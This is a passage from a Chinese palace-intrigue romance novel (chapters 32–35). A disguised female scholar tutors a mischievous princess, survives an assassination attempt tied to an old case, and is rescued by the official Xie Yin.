既然来硬的,那她就当钻个狗洞了,反正她也没少钻狗洞去冷宫转悠。
公主虽表面蛮横,除了趋炎附势的下人,还有一部分是性子顽劣,不想让人拘束。
虽被困在皇宫,但这个皇宫她倒是跑了个遍。
她借着林疏影与门之间的空隙,想要钻出去。
迎面却撞上了乳母。
李月明当下了然于心,这人来得这么晚,竟是为了找人制住她。
林疏影在后面轻笑一声,为她让开门。
此时,公主看着眼前的人冲她假惺惺地笑,觉得格外讽刺。
这人明显是在嘲笑她!
李月明当即冷笑一声,随即转身,一脸不悦地看着林疏影。
“你叫什么名字?”
这个人竟然叫来了她的乳母,为了在皇兄那表现,可谓费尽心机。
听便听了,她倒要看看这个状元郎,到底讲成什么样子。
她又琢磨着如何逃课。
“林疏影,公主可叫我林夫子,或者夫子也行。”
林疏影耐心地回话。
“好样的,这样的名字,不知道的还以为是青楼的小倌呢。”
李月明嘴上不饶人。
既然针对本公主,那就别怪她不客气了。
林疏影的胸襟哪里就那么小了?
为一句话生气实在不是她的风格,再加上了解了公主的身世后,她对这位公主也抱了几份同情。
此时,林疏影全然不知,脸上带着不知名的笑的公主在寻思着如何整她。
“公主,快些入座吧,落了一日,今日的功课会重一些。”
她只管教授课业,其他的才不理。
公主见拳头打在了棉花上,便不情愿地回去做好。
究竟是才及笄的小姑娘,藏不住情绪。
林疏影细心地将纸笔准备好。
吸取了昨日的教训,她也没再询问学生的意见,掀开布帛,将最上面那本书拿起来就开始讲。
李月明就是蛮横了些,但她还是看过这些书的。
先前看的时候,也只是抱了好奇的心思,结果发现这与那些《女戒》一样无趣,自然也就不再看了。
如今她听着林疏影讲授的书本上难理解的字句,竟然觉得生动非常,一时间也入了迷。
放下了刚才二人的“恩怨”,她鬼使神差地拿好笔,开始写写画画。
她心里也全装不下逃课等一概东西了。
林疏影自然不是简单讲晦涩的文字,而是将自己的见闻与书上的例子全拿来辅助。
对于这个被困在深宫的女孩,自然最合适不过。
她也曾在高墙之中,但她很幸运,有一个为她打破高墙的母亲。
现在,她或许只能将这些道理教给公主。
为她的以后帮不上什么忙,甚至都不能带公主出宫玩一遭。
今日授课还算顺利,公主虽仍未与她行礼,但是在文华殿坐了一天,笔记也满满当当,甚至主动询问林疏影问题。
这可把林疏影高兴坏了。
初见成效。
高兴没多久,她就被谢寅按住翻找卷宗去了。
陈氏旧案牵扯的士族不少,又是在二十年前,需要找的卷宗真是如山一般。
于是,累了一天的林疏影看着高高的卷宗,心里蒙上一层晦暗。
谢寅哪里会给她特殊照顾呢。
自己昨天还奇怪,怎的谢寅处处为她想着。
这个人就是抓她来替他翻卷宗的。
32. 第 32 章
累了一晚上的林疏影在京城一处院子里醒来。
她捶打着有些酸涩的腰背,勉强睁开眼睛。
脑袋因为昨夜的挑灯查卷宗而隐隐作痛,她不得不用力甩一甩脑袋来缓解疼痛。
林疏影抬手揉眼,却不小心将床榻一边的卷宗打掉。
一声闷响,紧接着就是书页随着风翻动的哗哗声。
她也终于醒了神,看着不远处的堆满卷宗的桌案愣神。
此时,她有些明白了,怪不得那么些陈年旧账没人想接手。
况且,这些卷宗里或许还有些弄虚作假的。
思及此,她嗤笑两声,总不要都将自己的努力白费了。
门外响起的敲门声将林疏影的思绪唤回来。
她下意识,看看自己,匆忙整理好衣物,没顾上捡起掉落地上的书本,就跑去开门。
“竟是谢大人,时候到了吗?”
谢寅并未着急回话,他的视线越过林疏影,看向她的身后。
林疏影注意到了这人的眼神,挪动了身子,奈何,门太宽了,她如何能挡住?
不过她为什么会心虚呢,她行得正坐得直,况且帮魏大人查案还是替天行道。
想到这里,她也不再试图用自己挡住谢寅的视线。
看到一切的谢寅心里倒是复杂。
他把这个人牵扯进这个案件来,不知是福还是祸。
通过窗帘,他真切看到了掉落在地上的书,更加坚信了内心的想法。
果然,他昨夜与魏大人讨论具体案情了,没顾上这人,难不成真让她看了一夜?
思及此,他收回目光,盯着林疏影的脸。
眼下的青黑,迷蒙的双眼,精神比平时少一半。
谢寅叹了口气,没追问什么,直接拉走林疏影去吃早饭。
还好,他今日一早打发厨子做了些补的汤食。
“大人,这样不太好吧。”
林疏影被迫加快脚步,她看着自己被那人抓得死死的胳膊说到。
“你不是答应同我演戏了?”
谢寅不知可否,这个人很健忘吗?
再想想也是正常,女子顾及的就是比男子多一些。
于是他便放开了林疏影的手,任她走。
林疏影有些纳闷,这个谢寅一向霸道的,从来不顾及别人的感受,想要赏赐给你的时候,你就必须得接着,不想给的时候,你也得配合人家演好那场戏。
不过,她要是说这些倒真是“娇气”了,人家都将她拉进了这个案件里,能让她一个侍读参与这个案子,亲自找母亲的杀人凶手,她应该知足了。
这不就是她来京城的目的吗。
她低下头,看看自己的双手,又抬头看看不远处等着自己的人。
不就是演戏么,二人各取所需而已。
有什么不好意思的,有什么介怀身份的,她还有什么可怀疑谢寅的企图的。
此人身份比她尊贵不说,还冒险将她举荐到圣上面前。
若是有所图谋,也该是她去图谋这人的官位权势。
而且她一身,无财无权无势,唯一有的就是那个窝囊的爹,也没什么用,难不成谢寅还要图谋她的“美色”。
想到这里,林疏影的脑袋里忽然冒出了话本里的男主人公为博美人一笑做出的荒唐事。
随后她又将此事尽数晃出脑袋,怎么可能!
谢寅只是装作纨绔,孰轻孰重他是知道的,况且他是谢家的儿子,如今官位这么高,肯定是要寻一个与他相匹配的好女子的。
找她,想必他父母也不会同意的。
林疏影莫名地落寞,她并不觉得自己比别人差多少,但是现实摆在这里,无法改变。
谢寅此举应该是拉拢她,为了中兴之后大夏走向所着想。
林疏影觉得心里有些烦乱,她不喜欢若即若离的感觉,谢寅的态度一会儿关心非常,一会儿又要提醒她这一切都是演戏。
倒不如抛却不该有的情绪,演完这场戏后,各寻前程,各自安好,到那时候,她或许可以不用依靠任何人,能自己走在这个凶险的官场上,替母亲,也为自己,尽心尽力将百姓安置好,或许也可以成为与谢寅比肩的人。
那时候,她相信,二人之间还是同舟共济的。
谢寅的人品可比他的名声好了不知多少倍。
随后她跑到那人身边,拉起那人的胳膊就走。
谢寅有些没反应过来,他不是顺了这人的意思放开手了吗。
怎么两人又拉在一起了。
不过,有什么关系呢?
他感受着那人掌心的温存,看着林疏影的背影,露出一个毫不掩饰的笑来。
或许,是他二人间近了一步呢。
谢寅在外的名声不大好,但人可真是清白得不能再清白了。
他只能尽力去猜林疏影想要什么,只要是他能给的,就会给。
看来,他找对了方向,不久她便能发现他的心思了吧。
谢寅目光含情,全然不顾周围下人的诧异。
自从林疏影转换了一下思维方式之后,她也不再纠结二人之间是否有男女之情了,心也安下来了。
她狼吞虎咽地吃完早饭,又给谢寅打掩护送他去找魏大人查案。
林疏影迈着步子,脑海里全是今日要讲授地内容。
还好她先前好生钻研过这些书,不然昨晚一点不看,今日是要“敷衍”公主的。
看来,她还是要好好安排一下自己的时间了。
公主昨日还算“乖巧”,今日应该也会安分些。
越靠近文华殿,林疏影便开始在心里不断祈祷尊贵的永宁公主能够安分些。
还在心里默念了好几遍。
心诚则灵,老天爷收到她的祈愿了吗。
齐嬷嬷会监督公主到文华殿,这些日子,有了这个约束,公主必然会收敛些性子。
她应该可以放下心来。
她冲在文华殿外候着的齐嬷嬷颔首一笑,进门见公主好生坐着。
甚至还在翻看昨日记下来的笔记,林疏影甚是欣慰。
因昨晚挑灯带来的困意顿时烟消云散。
她打起精神,拿起书来,更是滔滔不绝起来。
母亲曾经教授她的,还有她北上的经历,抑或是沧隅山的经历,她都深刻在心里,与自己所学的融合在一起,早就分不清了。
不知不觉间,便到了饭点,林疏影着实
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饿了,她讲完最后一个小尾巴,便要去吃饭。
但公主却上前,一反常态地冲着她笑。
林疏影从未见过如此和颜悦色的笑,准确来说,是没有见过公主脸上这样的笑。
她随即背后发凉。
“夫子讲授课定然是累了,我吩咐御膳房做了几道菜,夫子不如与本公主一起吃?”
李月明不管其他的什么礼数,此刻,她只想让这个人知道惹怒她的下场。
这次,她将情绪隐藏得极好。
林疏影以为公主终于开窍了,不再仇视她了,更加开心了,但是她还是知晓分寸的。
“公主盛情,我自然不能辜负,但是男女有别。”
未等她说完,一边的小翠打断她道,“这还不简单?就把公主的饭菜赏你一碟不就好了?”
言语间的挑衅太过明显。
听得林疏影有些不自在了,她只当小翠平日随公主嚣张惯了,也没追究。
“夫子,我的一番心意,你莫要再拒绝了。”
李月明敏锐地察觉到林疏影的情绪,随即便白了小翠一眼,这个丫头真是越发没礼数了。
要是坏了她的好事,她定然饶不了小翠。
林疏影心里一阵暖,也算是努力有了回报一般,欣然应下。
不一会儿,丫鬟便将吃食送到了林疏影歇息的地方。
香味扑鼻,伴随着林疏影的两声肚子的叫唤声。
她不禁感叹,“御膳房果真名不虚传。”
随后,便是再也按捺不住,大口地吃起饭来。
她在巴郡时,母亲从不约束着她,故而比寻常闺阁女子要豪放些许,但该知晓的礼数她还是知道的。
也只是此时无人,她又实在太饿,才全然不顾。
扫完桌上的饭菜,她餍足地看着碗碟,伸了个懒腰。
林疏影刚起身,挪开步子往床榻那走去,肚子却十分抗拒地叫。
随后她地肚子疼起来了,她只得捂着肚子,破门而出,询问太监如厕在哪里。
然而在不远处的柱子后面,又一道纤小的身影,望着眼前狼狈不堪的林疏影笑。
林疏影浑然不觉那道“火辣”的视线,她也没空去观察周围是否还有别人。
她这是吃坏东西了?
按理说,她没有什么忌口,也从来不挑的,今天这是怎么了...
还好是晌午,如厕的人少。
她还是不放心,便叫那引路的太监守在外面,替她放风。
皇宫不是别处,若是被有心之人发现了身份,那她可就...
林疏影纳闷自己在这里待了三天,小心谨慎极了,怎的今日就出了岔子。
她仔细琢磨着今日的异常。
早饭一切正常,午饭...
对了!
永宁公主!
脑海里的画面不断浮现出来。
公主一反常态地对着她笑的时候、小翠话语里的挑衅流露的时候,她就该发现的。
林疏影被公主戏耍了,有些恼羞成怒,还有些失望。
但要如何治一治这位尊贵的公主呢,她可得从长计议。
公主才及笄,小孩子心性,就是要多管教嘛。
33. 第 33 章
次日一早,林疏影一路无话,把从昨日就盘算好的计策又再脑海里过了一遍。
才觉万无一失。
要说到整人,她林疏影也是不差的。
在巴郡翻云覆雨的小霸王到了京城就栽了?
呵,这才刚开始。
林疏影已经摆好了架势,若是这个小公主不识相,那她会奉陪到底。
谢寅见昨日晚上一路,和今日早上一路,这人都阴阴沉沉的,也只当是此人疲劳过度,才没精打采,也没怎么在意。
只在心里责怪自己没看好林疏影。
二人心思不一,一路从谢寅的院子到了皇城。
那日,林疏影只在那院落里待了一晚,结果却再也逃不开了。
谢寅偏要诓人,说她自己的小院不安全,被三家士族盯着,不方便查案子。
为了查案子,林疏影自然乐意搬家,索性她也想住得好些,离皇城近些,这样她也省了诸多体力,好养足精神与这顽劣的小公主斗。
林疏影刚要与谢寅道别,却见谢寅带着笑意上前,微微低下头,仿佛将唇贴在她耳边。
林疏影下意识向后退,奈何谢寅察觉了这一点,一手搭在她肩上,用了力气不让她后退。
“午后,你要把整理出来相关的卷宗呈交给大人,并把其中的可疑点指出来,你寻个由头告假罢,皇上知晓你的难处,自然不会为难。”
谢寅靠近她,在她耳边低语。
潮气打在她耳根处,红了一片。
不得已,只能死死攥紧拳头,才强忍下想要推开这人的冲动。
她其实不喜欢与旁人触碰,尤其是比较敏感的地方。
谢寅的戏做给谁看呢!
还是故意这样挑逗她?
这浪荡子的名号果真是名不虚传。
“知道了,大人,你先放开我行吗?”
林疏影勉强扯出一个笑来,她现在有求于人,没办法,要忍!
谢寅有意无意地将纤长的手指划过眼前之人的耳根,磨蹭了一阵子才恋恋不舍地放开些。
他缓缓偏开头,看着眼前脸已经红透了的人,眼里的情绪更是不再藏匿,尽数交托给林疏影。
被禁锢在怀里的人终于得到了喘息,林疏影见这人扭扭捏捏,便不再“纵容”,直接向后退了几步。
让一厢情愿的谢寅愣住了。
不禁怀疑起来自己,是不是太着急了。
可,他怎能不急!?
林疏影与大多数闺阁女子一般,自小鲜少与男子接触,哪里被人这样对待过,她几步后退,脸上烧得慌,眼神也格外慌乱,闪躲几次,哪里能看见那人的眼睛。
自然是没接住这人给她的,就是看见了也不一定接。
她逃似得径直往皇宫里走去,毅然决然,连头也没回。
昨日才想清楚两人之间要如何相处,这人挑逗姑娘惯了,她要是当真了,那可真就是假戏真做了。
林疏影忽然不明白自己为什么如此纠结与谢寅的关系,似乎从两人相逢,就已经分不清二人了。
她一向不喜欢欠别人的,现在,她欠谢寅的却是越来越多了。
在宫里大步走了一段,她才将脑子冷静下来。
记起礼数,记起谢寅与她传的话来。
她琢磨着如何编理由,手却下意识地摸着那个耳朵。
瞬间,林疏影脸上再度泛起红晕,脑子里空白一片。
她在心里咒骂自己,就因为谢寅这个动作失神,真是不争气。
还好,心里的悸动慢慢平静下来后,也没有什么异样的情绪显露出来了。
林疏影轻咳两声,径直走入了文华殿,这次她没着急开口询问课业,只是她盯着公主。
既然这个小公主要算账,那好啊,她就要把那个下马威还给公主。
李月明依旧一身华服,头上的钗子、步摇更是不胜其数。
她坐在低位上,高昂地抬着头,睨着林疏影。
林疏影那里能怕一个刚及笄的小姑娘,丝毫不畏惧地迎上那桀骜的眼神。
二人僵持着,她丝毫没有服软的意思。
但公主哪里肯放下自己的颜面认错!?
不过,林疏影可没想着让尊贵的小公主主动认错道歉。
反正仰着头的又不是她。
果然,脖子酸涩的公主率先败下阵来,她揉揉脖子,随后又瞪了林疏影一眼。
“属下已经教了公主两日了,还未曾询问过公主课业,实在是不称职得很。”
林疏影勾起一抹笑来,她斜睨着公主。
“正巧昨日,我布置了些课业下去,公主完成的如何?”
昨日,她可是故意留了许多,还专挑公主未曾学过的留,让公主背诵下来。
提起这个,李月明没忍住,直接站起来。
“林疏影,你欺人太甚!”
她自小长在宫里,不管是底下的宫女、太监之间的勾心斗角还是后宫里自诩身份尊贵的娘娘们的尔虞我诈,她都见过,都领教过。
这个人竟然要在她面前耍心思,真是...
拿皇兄压她来还不够?
不就是喂了他点泻药?
真是小肚鸡肠,心胸狭隘。
“我倒是听不懂公主的话了,我尽心尽力教导公主,哪怕前一天挑灯,也是打足了精神来给公主授课,不曾想,还要被捉弄?”
林疏影眼神复杂。
这只是个孩子,若是有人好好教导,哪里会这么不知轻重?
知道公主及笄,皇上才想起来公主的刁蛮任性,委实有些晚了。
不过,她倒是有耐心教导这个小公主。
“你...又不是本公主让你挑灯...”
让林疏影这么一说,倒是她斤斤计较,不识好人心,狼心狗肺了?
哼,不过是油嘴滑舌,本公主哪里怕你。
“将这些也都怪在我身上,林夫子,那我做什么都是错的了。”
李月明抱胸,睨着林疏影,头上的步摇还因为她刚才的怒气微弱地晃动。
“自然不是,林某只是想告诉公主,莫要因为一时任性寒了他人的心。”
林疏影见公主还是一副任性的模样,话在嘴边终于又是咽了下去,说再多,也是对牛弹琴。
还不如好好整治一番,让这个刁蛮的小孩儿长长记性。
“既然公主没背下来,便拿纸笔来抄写吧。”
她居高临下地看着公主,语气不容置
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疑。
李月明哪里能收起顽劣的心好好抄写?
林疏影倒是一点儿也不含糊,她将齐嬷嬷唤来,守着公主。
齐嬷嬷自打李月明生下来,就一直伺候她,在小公主心里,这乳母的份量是最重的。
在她身边还没有小翠时,因为母亲身份低微,加上难产而死,宫里的宫女都欺负她,是乳母一直在她身边保护、照顾她。
甚至因为她馋嘴,还为她偷拿过御膳房的糕点。
李月明再如何也是不想违逆乳母的,她只能气愤地撇了林疏影一眼,不情愿地拿起笔来抄写。
她手上动作凌厉非常,心里也盘算起来,如何戏弄眼前的人。
若是仍旧在饭菜里动手脚?
昨日已经借饭菜戏耍了这人,若是再用太明目张胆了些,皇兄若是知晓了,定不会轻饶她。
还是...
左思右想,李月明都不太满意。
终于挨到了饭点,林疏影放下书,活动了酸涩的脖颈和举着书的手腕,又看看挂在天上的太阳。
是时候了。
她将齐嬷嬷叫到门外,“嬷嬷,我还有要事,午后便不能再监督公主的课业了,劳烦您多记挂、督促。”
给小公主放半天假?
若是在昨日的泻药之前,她大概率是会给假的,但若是在这之后,自然是不肯的。
正好教训一番,让她收收性子。
齐嬷嬷忙答应,她看得出来,林夫子是真心教导公主的,自然不敢怠慢林疏影的话。
说不准还会更严厉些。
殊不知,一旁的小翠将二人之间的谈话一字不落地交代给公主。
“出宫?”
李月明忖度着,她若是能出宫,定然能好好教训这个人,蒙上面打一顿,林疏影想找证据都找不到。
想好计策后,她没犹豫,吃完午饭与齐嬷嬷借口来了月事,身子不舒服,不便见人,改在自己的寝宫抄写,还装模作样地认真抄写,又让小翠支开齐嬷嬷一会儿。
又拿来小翠的衣服穿上,带好自己的玉佩做凭证,卸去脸上的妆容,将稚嫩清新的面容露出来。
虽然平日里她的妆容会刻意地浓一些,但终究遮不住少女的青涩。
她看着铜镜里的脸,慢慢用手抚上,宫里人都说,她像极了母亲...
像那个人有什么用。
李月明嗤笑一声,拿起胭脂将自己伪装得更像小翠。
她一点不拖泥带水,唤贴身服侍的另一个宫女春红穿上自己的华服、戴上华贵的发饰,赶在齐嬷嬷返回之前,二人就位。
李月明,拿着自己的玉佩做凭证,偷溜出宫。
她不能出宫,但是她的宫女可以,这是她生辰时从皇兄那里讨来的。
刚开始只是想让小翠帮她带些外面的新鲜玩意儿,现在看来,真是物尽其用了。
林疏影告假需要走些流程,浪费了些时间,但还算顺利,随便找个由头搪塞过去,出宫门时已经是太阳已经有些偏西。
她也丝毫没有察觉到身后匆匆赶来的公主。
李月明看着前面的身影倒是勾起一抹不怀好意的笑。
本来还担心找不到林疏影,现在看来,真是天助我也。
34. 第 34 章
林疏影径直向比自己的小院华贵了不知多少倍的院落走去。
所有的卷宗都在那里,谢寅应该也在那里等着她。
刚开始,她并没有在意身后的脚步声,只想着那人与她顺路。
但当她试探性地放慢步子,身后那人也跟着慢下来,她走得快些,那人也抓紧跟上。
明显是有人跟踪,林疏影稳住心神。
若是那三家士族,她如果真的去了谢寅的院落,那一切都暴露了。
但这件事情士族并不知情,谢寅到现在都被“禁足”在谢府里。
他们应该不知道才对。
她缓缓回头,背后却没人。
仔细观察一番,林疏影看见街巷外有一角衣裙。
不像是男人的衣服,士族派人来,还能派个女人来不成?
她摸不着头脑。
于是想再试探一番。
便假装什么都没发现,又向前走去,只不过,她换了地点。
城南小院,她很久没去了,正好去看看。
李月明深呼一口气。
她慢慢向墙后探头,发现那人继续往前走,才放心了。
还好没被发现。
她看着前面的人拐入了偏僻的巷子,握紧了手里的随便扯来麻布。
哼,林疏影,今日是你自找的。
她看着前面越走越慢的人,加快了自己的脚步。
蹑手蹑脚地紧紧跟到那人手后,刚想将麻布蒙上林疏影。
那人却突然转身,一把抓住了她的胳膊。
“公主?”
林疏影本以为谢寅与她介入陈氏旧案被发现了,结果是这个小祖宗在装神弄鬼。
李月明一把甩开她的手,“你做什么,放开本公主。”
林疏影看这装备齐全的公主,换了宫女的衣服,手里的麻布,真是费尽心思。
堂堂一国公主费尽心思出宫就是为了打她一顿?
林疏影不免好笑。
她的笑,放在李月明眼里就是赤裸裸的嘲笑。
但这林疏影的劲怎么这么大,她本想甩开就跑,但是怎么也甩不开。
是她小瞧这个人了。
李月明警惕地看着林疏影,“还不快放开本公主!”
这人不会记仇,把她打一顿吧,偷鸡不成蚀把米。
忽然林疏影警觉地看向周围,有人来了!
不止一个人。
莫非那些士族当真发现了什么!?
她想也没想直接拉着公主躲进了小院里。
“你要做什么,我告诉你,我可是一国公主,你要是敢非礼我,皇兄是不会放过你的,大夏的百姓也不会...”
李月明被拽进一个院落,她当下以为林疏影是个表里不一的流氓。
表面书生风骨,宁折不弯,实则是个彻头彻尾的地痞流氓!
早知道,那泻药就该加大计量。
林疏影皱眉,那些人应该也跟了一路,是她疏忽了。
她把李月明推进自己的房间。
却被那人甩来一巴掌。
林疏影被扇地别过脸,她倒是不恼,手摸着脸上的红。
“想活命,就别闹了。”
她真是拿这个小公主没办法了。
“我...”
李月明刚想说什么,就见林疏影去冲进去,拿出一把剑。
顿时吓得不敢说话了。
这人是看“好事”不成,要把她杀人灭口了。
不行,她在这里孤立无援,只有被这个人拿捏的份。
正当李月明绞尽脑汁想着解决方法时。
林疏影走到她跟前,“待会儿,关好门,无论外面发生什么都别出来,听见了吗!”
她摸着小公主的头,嘱咐道。
李月明不明所以,眼角带着红。
没等她回话,林疏影就提剑出门,将门关得死死的。
李月明跌跌撞撞地走到门前,本能地依从林疏影的话,锁紧了门。
而后跌坐在门后,将脑袋靠在门上。
林疏影拔剑出鞘,她斜睨着眼前的人。
“你们是谁派来的?”
“林疏影是吧,你只要知道,你们碰了不该碰的东西。”
那人没废话,直接一剑劈过来。
林疏影用力抵挡。
门后的李月明将一切听得真切,原来是林疏影的仇家。
在暗叹自己倒霉时,外面刀剑交锋的声音传入她耳朵里。
所以,林疏影将她关进房间里,是怕她受伤,被牵连进去。
她可是大夏的公主,谁敢怠慢,林疏影这么做是应该的,若是把本公主卷进去了,她可就吃不了兜着走了。
林疏影习过武,练过剑,若是一个人来,她自然能应付。
但是,三个人,她有些应付不过来。
不知不觉间,身上就多了几道口子。
血往外流,顺着林疏影的胳膊,直到手腕,再一滴一滴地染红雪白的流苏。
“把证据交出来,说不定,大人还能饶你一命。”
“证据?什么证据,我怎么听不懂阁下在说什么。”林疏影道。
“还装傻?”
“我现在只是永宁公主的夫子,听不懂你们在说什么,不过阁下这么不客气,是觉得我这个刚立功返京的状元郎在陛下眼里无足轻重了?”
林疏影站直了身子,她不卑不亢。
无论如何,先唬住这些人再说,但这些人似乎不管她说什么,都会冲上去。
“跟她费什么话,直接抓回去严刑拷打,看她说不说!”
林疏影见这些人软硬不吃,只好强撑着,拿起剑护在自己身前。
终究,她还是没抵挡住,被一脚踹到了墙上。
痛地她叫不出来声音,噗呲一口鲜血直往外冒。
而后她又从墙上掉下来,腿无法支撑自身的重量,直接摔到地面上。
她趴在地上,觉得五脏六腑都要被震碎了。
但模模糊糊间,还是勉强拖着发抖的身子站起来。
眼前模糊一片,血从她头上留下,染红了她的睫毛。
难道,她就要不明不白地死在这些人手里了?
母亲,孩儿还没查出来一切,还没为你报仇...
门被一脚踹开。
那三人拿着刀谨慎地看着被踹开的门。
只见一袭粉衣走出来,举手投足间尽是贵气。
“我乃是永宁公主,你们好大的胆子,竟然林夫子动手!”
李月明看着满身伤痕的林疏影,早就没了原先的霸气,忙跑上前,将她稳在怀里。
不管林疏影背后的人是谁,她的仇家是谁,她只知道,这个人为了不把她牵扯进来坚持了这么久。
真心对她好的人不多,齐嬷嬷算一个,林疏影也算吧。
她没时间再想两人先前的恩怨,只是慌乱地拿着自己的受怕为林疏影擦着脸上的血迹。
怎么流了这么多血。
“疼不疼...”
“不是让你不出来吗?”<
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p>林疏影看着眼角都是红晕的公主。
她心里有些愧疚,让这么小的孩子见了血腥,日后会有梦魇的。
若是她的武功再好些,哪里还有眼前的一切。
那三人见是个穿着宫女衣服的人,自然没管那人说了什么,也不管那人说的什么了。
小宫女都敢冒充公主,那他们还就是皇帝了。
他们若是带不回去林疏影,那就是死路一条。
不管二人唧唧歪歪了,一人直接劈刀上前。
“愣着做什么,不如成全了这对苦命鸳鸯。”
林疏影敏锐地察觉到,推开公主,提剑就要挡。
奈何,她的力气早就不剩多少了,吃力地抵挡着这人重重一击。
就在二人僵持不下之际,一个黑衣人用手弹出了一个石子。
生生将那刺客的刀打退了。
林疏影顺着力气向前趴去,想象中的与地板接触的疼痛并未出现。
随之而来的是熟悉的、温暖的、好闻的气息。
是谢寅吗。
她在这个京城里的朋友不多,能想到的也只有谢寅这个人了。
随后便晕在了这个人怀里。
长青和长煊紧随其后,两人纠缠住那三人自然不是问题。
谢寅看着怀里受伤不轻的人,心里一阵愧疚。
还是没保护好她,还是没...
“你愣着做什么,快带夫子去找大夫啊。”
李月明倒是急了,这人是来救夫子的吧,怎的一直抱着,他没看见夫子在流血吗?
“你跟我来。”
他抱起林疏影就去了自己的别院。
公主紧随其后。
谢寅踹开院门,抱着林疏影进了她的房间,轻轻将她放在床上。
李月明却被下人挡在门前。
“做什么,我想看看夫子,不行吗?”
“公主,我这就派人送您回宫,外面太危险。”
“我不!”
李月明刚说完,就被两个丫鬟拖走了,她使劲蹬脚,终究徒劳。
“放开我,我要找夫子!”
“林疏影!你等着我,本公主会跟你道歉的。”
......
谢寅听了直头疼,林疏影怎的还惹了情债!
他一点一点地将林疏影身的衣服褪下来。
难免不会碰触到伤口。
林疏影疼痛地倒吸一口气,她勉强睁开眼。
映入眼帘的就是谢寅这个人...
她下意识抓住那人动作的手,“你要干什么。”
堂堂谢总督,给她包扎伤口?
还是...
“你的身份...”
林疏影咬着苍白的嘴唇,皱着眉,“不劳烦,我自己来就好。”
谢寅也不再执着,直接唤来一个丫鬟,帮林疏影处理伤口。
“今天无论你听到什么、看到什么,若是敢传出去,就别怪我狠心了。”
交代好一切,他只身守在门外,看着跟前的水池愣神。
那么多的伤...
他眼里全是血丝,红肿着的眼再也掩饰不住浑身的怒气。
长青长煊二人此时将那三人捆好,处置好后,来复命。
“长青,我不是让你好生保护她么。”
谢寅居高临下地睨着跪在眼前的两人。
“是属下办事不利,愿受罚。”
他就疏忽了今日,结果就被钻了空子。
还惹了主子这么大的火气。
35. 第 35 章
“赵家的人出手了?”
魏丰华侧着半边身,看着跪在地上的无影。
“属下亲眼所见。”
“好,冯齐母子都解决了?”
无影跪在地上,看着地上的纹路,他甚至不敢大声喘气。
“都...都解决了。”
“那你继续盯着士族吧,告诉无风,今日亥时来见我。”
魏丰华丢下这么一句话,转身进屋,刚才的冷冽全然消失,换上了平日里人们常见的慈眉善目。
好戏马上就要开始了。
无影不敢违逆,恭敬地退下,终于逃离了这个狼窝。
--
“审问好了?”
谢寅垂手于栏杆之上,看着前来复命的长青。
“是赵家派来的人,不知为什么,他们知道了林大人是整理卷宗的,所以才...”
长青哪里敢怠慢,任务次次出错,他也浑身是错,只好端正地跪着,生怕再被挑出错来。
“赵家,林行牧那惨死的发妻可姓赵?”
谢寅摩挲着手上的明玕,心声疑惑。
他转身,愁眉望着隔着门窗的那人。
赵家在陈家旧案里扮演了什么角色,做了什么事,该不该告诉林疏影呢。
“是,青娥酒楼里有个人天天打听赵家娘子,想当初赵明心可是名满京城的贵女,只是...”
长青替赵家娘子感叹往事。
谢寅的睫毛慢慢垂下来,打量着手里的明玕。
“那你说,那赵家娘子因何而死?”
“听酒楼里那人说,是插手了不该插手的事,被害死的。”
谢寅停下手里的动作,抬眼看着长青。
“你信吗?”
长青被这么一看,不知道自己刚才说对了还是说错了。
小心翼翼地看着主子的脸色,“自然是信的。”
“那你把那人请来。”
“啊?”
长青有些不敢相信自己的耳朵,但是对上那冰冷的眼神,还是乖乖退下了。
有些事情,不对应该是大多数事情,是他不能过问的。
“长煊,以后你看着她,若是今天的事再出现,你们兄弟俩就歇息一段时间吧。”
长煊是哥哥,比长青稳重些,“多谢主子,属下一定保护好林大人。”
他自然能看出来主子和里面的林大人关系匪浅,但他从未挑明,也不敢主动提起。
说来也巧,谢寅选下人时,挑来挑去,竟选上了两个亲兄弟。
俩兄弟,一个稳重地太谨慎,一个活泼地太大意,但关键时刻都没出过岔子,否则谢寅也不会留他们在身边到现在。
谢寅走进屋子,慢慢移步到床前,看着林疏影依旧苍白的脸色,心里一阵绞痛。
若是能把你关起来,让你一辈子待在与世无争的后院里,就好了。
来外面受这么多苦,究竟是为了什么,林疏影。
他屏退丫鬟,坐在床边,大手轻轻抚上苍白的脸颊,不禁叹气。
何苦...
你想要什么我都给你弄来,我只要你不再受伤,不再这样让我心痛。
林疏影突然皱起眉头,似是在抱怨那只手的霸道,将头扭向了一边。
“做噩梦了吗,疏影?”
谢寅还没来得及照顾,就被闯入的丫鬟打断了。
他不大情愿地出了屋子,看着跪在地上的长煊。
“大人,北部突厥昨夜进犯边境,急报刚传入皇宫,眼下皇上召见大臣们入宫商讨如何应对。”
“好,你在这里守着,等长青将那人请回来了,你安顿一下,便让长青去皇宫外等我。”
他安排好这一切,利落地骑马赶去了皇宫。
正是清算牵扯进陈家旧案的时机,竟又出了这事。
内部朝堂士族蠢蠢欲动,外部突厥虎视眈眈中原,可真是又给皇帝出了个大难题啊。
谢寅匆匆赶到,太和殿里,吵吵嚷嚷。
他穿过吵闹,冲陆德静和魏丰华颔首。
这次他们俩可是“主和派”,倒是结成了同盟。
而其他士族便都是“主战派”,扬言必须要将突厥打回老窝,让他们再不敢觊觎中原,最后竟然搬出了愿将家族多年积累拿出来充当军费。
皇帝左右为难,他只能垂着被吵地直头疼的脑袋,闭目养神。
谢寅自然清楚,这三家士族明摆着想逃过这一劫,若是过了这次,再想揪住他们的小辫子可就难上加难了。
而那些承诺,恐怕军费根本凑不出来多少了,别提把突厥打回老巢了,只能勉强抵挡。
他看着魏大人和陆大人,点点头,示意自己知晓该如何做。
况且,前脚刚有人刺杀林疏影这么个小官,后脚接着就是突厥遇袭,太凑巧了。
“皇上,微臣以为,洪灾刚过,匪寇刚除,粮草尚且是大问题,别提过国库够不够支撑打仗了。”
谢寅站出来,进言。
“谢爱卿说得对,大夏有心也力不足啊。”
“难不成眼睁睁看着那些蛮人屠杀百姓,欺侮妇女!?”
刑部侍郎赵明池上前,愤愤不平。
“那你是想要大夏油尽灯枯,这样难道不是更加让突厥猖狂入侵中原了?”
陆德静看着只有一身孤勇的人,这个人还不如他妹妹明白时局。
只可惜,年纪轻轻香消玉殒,每每想起都让人伤怀。
三十而立之年,他进京赶考,竟发现一篇分析大夏局势的文章,顿觉遇到了知己。
本想请教一番,最后竟发现那人正是京城有名的贵女赵家赵明心。
若是大夏官场能容得下女子,这个臭小子哪能站在这里自诩为天下黎民百姓说无关痛痒的话。
陆德静撇了那人一眼。
“那你又要如何求和?”
兵部尚书孙齐黎上前。
“依照在下看,公主和亲是最好的选择。”
陆德静正思索间,魏丰华开口道。
